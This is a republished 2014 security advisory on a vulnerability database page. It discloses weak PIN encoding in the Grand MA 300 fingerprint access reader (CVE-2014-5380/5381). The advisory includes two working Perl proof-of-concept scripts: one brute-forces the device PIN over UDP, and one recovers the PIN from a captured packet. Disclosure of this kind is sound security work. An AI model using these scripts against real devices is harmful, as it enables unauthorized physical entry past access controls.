| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2014-5380 | 26 Aug 201400:00 | – | circl | |
| CVE-2014-5381 | 26 Aug 201400:00 | – | circl | |
| CVE-2014-5380 | 13 Jan 202012:55 | – | cve | |
| CVE-2014-5381 | 13 Jan 202013:00 | – | cve | |
| CVE-2014-5380 | 13 Jan 202012:55 | – | cvelist | |
| CVE-2014-5381 | 13 Jan 202013:00 | – | cvelist | |
| CVE-2014-5380 | 13 Jan 202013:15 | – | nvd | |
| CVE-2014-5381 | 13 Jan 202013:15 | – | nvd | |
| Information disclosure | 13 Jan 202013:15 | – | prion | |
| Information disclosure | 13 Jan 202013:15 | – | prion |
`=== LSE Leading Security Experts GmbH - Security Advisory 2014-07-13 ===
Grand MA 300 Fingerprint Reader - Weak Pin Verification
------------------------------------------------------------------------
Affected Versions
=================
Grand MA 300/ID with firmware 6.60
Issue Overview
==============
Vulnerability Type: Weak Pin Verification
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: Granding
Vendor URL: http://www.granding.com/productdetail/46/.aspx
Credits: LSE Leading Security Experts GmbH Eric Sesterhenn
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-07-13.txt
Advisory Status: Public
CVE-Number: CVE-2014-5380 and CVE-2014-5381
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5380 and
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5381
Impact
======
A weakness was found in the Grand MA 300 fingerprint access control
device, which allows the retrieval of the access pin from
sniffed data (CVE-2014-5380), as well as a weakness, which allows a
fast brute-force attack on the pin (CVE-2014-5381).
Issue Description
=================
The cipher do encode the pin inside the network or wigand traffic
contains a flaw which allows to retrieve the pin an weakens the
resitance against brute-force attacks.
Temporary Workaround and Fix
============================
Due to the proprietary nature of the product, we are unable
to provide a fix. As a workarount disable the devices entirely
or make sure no physical access to the ethernet or wigand interfaces
are possible.
Proof of Concept
================
The following perl script shows the weak pin encoding,
and allows a bruteforce.
---------------------8<-------------------------------
#!/usr/bin/perl
#
# This brute-forces the pin of a Grand MA 300 Fingerprint
# Access device in less than 5 minutes, if the pin
# is between 1 and 4294967296.
#
# written by Eric Sesterhenn <[email protected]>
# http://www.lsexperts.de
#
use IO::Socket::INET;
use strict;
use warnings;
sub hexd {
my ($data) = @_;
my $ret = "";
for (my $i=0; $i<length($data); $i++) {
$ret .= sprintf "%X", ord(substr($data, $i, 1));
}
return $ret;
}
sub getword {
my ($data, $offset) = @_;
my $ret = 0;
$ret = ord(substr($data, $offset, 1));
$ret += 0x100 * ord(substr($data, $offset+1, 1));
return $ret;
}
sub makeword {
my ($value) = @_;
my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF));
return $ret;
}
sub calccrc {
my ($packet) = @_;
# we pad with zero for packets of uneven length
my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);
my $crc = 0;
# the crc is the sum of all words in the packet
for (my $i = 0; $i<length($packet) - 2; $i += 2) {
$crc += getword($newpacket, $i);
}
# if the result is to big, we add the high bits to the lower bits
while ($crc > 0xFFFF) {
$crc = ($crc & 0xFFFF) + ($crc >> 0x10);
}
# negate the checksum
$crc = ~$crc & 0xFFFF;
return $crc;
}
sub makepacket {
my ($type, $cid, $seqno, $data) = @_;
my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);
return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;
}
sub calcpass {
my ($pin, $cid) = @_;
my $ret = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
$ret *= 2;
if ($pin & 1) {
$ret = $ret + 1;
}
$pin = $pin / 2;
}
$ret += $cid;
# xor with magic value
$ret ^= 0x4F534B5A;
# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);
# xor all, but third byte with last byte of gettickcount
my $gc = 0x00;
$ret ^= $gc + ($gc << 8) + ($gc << 24);
# set third byte to last byte of gettickcount
# this weakens the algorithm even further, since this byte
# is no longer relevant to the algorithm
$ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF);
return $ret;
}
# flush after every write
local $| = 1;
my ($socket,$client_socket);
# creating object interface of IO::Socket::INET modules which internally creates
# socket, binds and connects to the TCP server running on the specific port.
my $data;
$socket = new IO::Socket::INET (
PeerHost => '192.168.1.201', # CHANGEME
PeerPort => '4370',
Proto => 'udp',
) or die "ERROR in Socket Creation : $!\n";
# initialize the connection
$socket->send(makepacket(1000, 0, 0, ""));
$socket->recv($data, 1024);
my $typ = getword($data, 0);
my $cid = getword($data, 4);
if ($typ != 2005) {
printf("Client does not need a password");
exit(-1);
}
for (my $i = 0; $i < 65536; $i++) {
if (($i % 10) == 0) { printf "$i\n"; }
my $pass = calcpass($i, $cid);
$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));
$socket->recv($data, 1024);
$typ = getword($data, 0);
if ($typ == 2000) {
printf("Found pin: %d\n", $i);
exit(0);
}
}
# disconnect
$socket->send(makepacket(1001, $cid, 2, ""));
$socket->close();
---------------------8<-------------------------------
The following proof of concept shows how to reverse
the pin from a captured packet.
---------------------8<-------------------------------
#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <[email protected]>
# http://www.lsexperts.de
#
use warnings;
use strict;
my $cid = 0; # connection id
my $ret = 0x4B00A987; # pin on the wire
# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;
# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret = $ret | 0x005A0000;
# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);
# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);
# xor with magic value
$ret ^= 0x4F534B5A;
# substract the connection id
$ret -= $cid;
my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
$fin *= 2;
if ($ret & 1) {
$fin = $fin + 1;
}
$ret = $ret / 2;
}
printf("final: %X \n", $fin);
---------------------8<-------------------------------
History
=======
2014-07-13 Issue discovered
2014-08-18 Vendor notified
2014-08-20 CWE IDs assigned
2014-08-25 Advisory released
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation